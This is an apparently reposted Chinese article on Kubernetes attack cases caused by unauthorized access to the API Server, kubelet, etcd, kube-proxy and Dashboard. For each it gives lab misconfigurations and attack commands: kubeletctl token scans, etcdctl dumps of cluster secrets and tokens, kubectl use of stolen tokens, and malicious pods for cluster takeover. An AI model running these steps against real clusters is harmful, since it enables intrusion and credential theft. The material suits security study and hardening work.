K8s集群往往會因為組件的不安全配置存在未授權(quán)訪問的情況,如果攻擊者能夠進行未授權(quán)訪問,可能導致集群節(jié)點遭受入侵。比較常見的的組件未授權(quán)訪問漏洞,主要包括 API Server 未授權(quán)訪問、kubelet 未授權(quán)訪問、etcd 未授權(quán)訪問、kube-proxy 不安全配置、Dashboard未授權(quán)訪問。
接下來,我們將對這幾個未授權(quán)訪問的攻擊場景和攻擊過程進行詳細的分析。
01、 API Server未授權(quán)訪問
API Server 是集群的管理入口,任何資源請求或調(diào)用都是通過kube-apiserver提供的接口進行。默認情況下,API Server提供兩個端口服務(wù),8080和6443,配置不當將出現(xiàn)未授權(quán)訪問。
8080端口,默認不啟動,無需認證和授權(quán)檢查,一旦暴露將導致未授權(quán)訪問。
6443端口,默認啟動需要認證,如果出現(xiàn)配置錯誤,將system:anonymous用戶綁定到cluster-admin用戶組,將出現(xiàn)未授權(quán)訪問。
(1)攻擊場景
insecure-port默認值為0,將其修改為8080端口,再添加insecure-bind-address=0.0.0.0,允許遠程訪問本地的8080端口。
vi /etc/kubernetes/manifests/kube-apiserver.yaml
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0
修改kube-apiserver.yaml文件:
無需啟動,等待一會以后,8080服務(wù)自動起來了,通過瀏覽器可以訪問8080端口返回API列表。
(2)攻擊過程
未授權(quán)訪問的情況下,kubectl可以使用-s參數(shù)指定Kubernetes API服務(wù)器地址和端口,直接執(zhí)行命令創(chuàng)建惡意Pod,將其掛載到Master節(jié)點,從而實現(xiàn)對整個集群的接管。
02、 kubelet未授權(quán)訪問
kubelet會在集群中每個節(jié)點運行,對容器進行生命周期的管理,如果kubelet配置不當,攻擊者可創(chuàng)建惡意Pod嘗試逃逸到宿主機。
(1)攻擊場景
anonymous默認為false,修改為true,并將mode從Webhook修改為AlwaysAllow。
vi /var/lib/kubelet/config.yaml
anonymous:
enabled: true
authorization:
mode: AlwayAllow
修改node節(jié)點配置,重啟kubelet服務(wù)。
訪問kubelet 10250服務(wù),出現(xiàn)未授權(quán)訪問。
(2) 攻擊過程
kubeletctl 是一個用于與kubelet API 交互的命令行工具,可以通過kubeletctl執(zhí)行命令獲取Node權(quán)限。從Node節(jié)點竊取高權(quán)限服務(wù)賬戶token,使用服務(wù)賬戶向API Server進行驗證,從而獲取集群權(quán)限。
wget https://github.com/cyberark/kubeletctl/releases/download/v1.11/kubeletctl_linux_amd64
chmod 777 kubeletctl_linux_amd64
mv ./kubeletctl_linux_amd64 kubeletctl
#列出kubelet的所有pod
./kubeletctl pods -i --server 192.168.44.136
#搜索容器里面的Service Account
./kubeletctl?scan?token?-i?--server?192.168.44.136
03、etcd 未授權(quán)訪問
etcd 用于存儲K8s集群中的所有配置數(shù)據(jù)和狀態(tài)信息,如果管理員配置不當,導致etcd未授權(quán)訪問的情況,那么攻擊者就可以從etcd中獲取secrets&token等關(guān)鍵信息,進而通過kubectl創(chuàng)建惡意pod從而接管集群。
(1)攻擊場景
將client-cert-auth=true 改為false,把listen-client-urls監(jiān)聽修改為0.0.0.0,將端口被暴露出去,導致etcd存在未授權(quán)訪問漏洞。
vi /etc/kubernetes/manifests/etcd.yaml
- --client-cert-auth=false
- --listen-client-urls=http://0.0.0.0:2379
(2)攻擊過程
下載etcdctl直接用命令行即可訪問etcd
s://github.com/etcd-io/etcd/releases/download/v3.4.9/etcd-v3.4.9-linux-amd64.tar.gz
tar -xf etcd-v3.4.9-linux-amd64.tar.gz
cd etcd-v3.4.9-linux-amd64
#讀取etcd中存儲的數(shù)據(jù),通過--limit選項限制數(shù)量
export ETCDCTL_API=3
./etcdctl --endpoints=192.168.44.138:2379 get / --prefix --limit=2
#獲取k8s的secrets和token
./etcdctl --endpoints=192.168.44.138:2379 get / --prefix --keys-only |grep secrets
./etcdctl --endpoints=192.168.44.138:2379 get /registry/secrets/test/bypass-token-p6xpj
成功獲取高權(quán)限服務(wù)賬號token
通過token訪問API-Server,可進一步創(chuàng)建惡意Pod,獲取集群管理員的權(quán)限。
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token=“[.token.]” -n kube-system get pods
04、kube-proxy不安全配置
通過使用kube-proxy暴露未授權(quán)訪問的服務(wù)或組件,可能會形成外部攻擊入口點,從而導致集群被入侵。
(1)攻擊場景
使用kubectl proxy命令設(shè)置API server接收所有主機的請求。
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009
(2)攻擊過程
攻擊者可通過特定端口訪問API Server,可按照API Server未授權(quán)訪問情況直接接管集群。
05、Dashboard未授權(quán)訪問
Dashboard 在配置不當情況下有可能會產(chǎn)生未授權(quán)訪問的情況,從而有可能進一步造成接管集群。
(1)攻擊場景
在deployment中開啟enable-skip-login,那么就可以在登錄界面點擊跳過登錄進dashboard。
將默認的Kubernetes-dashboard綁定cluster-admin,擁有管理集群管權(quán)限
kubectl create clusterrolebinding dashboard-1 --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:kubernetes-dashboard
(2)攻擊過程
訪問Kubernetes 儀表盤,出現(xiàn)了跳過按鈕,點擊跳過進入dashboard。
進入控制面板,可以看到整個集群的資源情況。
攻擊者通過創(chuàng)建惡意pod,將其掛載到Master節(jié)點,從而實現(xiàn)對整個集群的接管。文章來源:http://www.zghlxwxcb.cn/news/detail-774417.html
文章來源地址http://www.zghlxwxcb.cn/news/detail-774417.html
到了這里,關(guān)于K8s攻擊案例:組件未授權(quán)訪問導致集群入侵的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!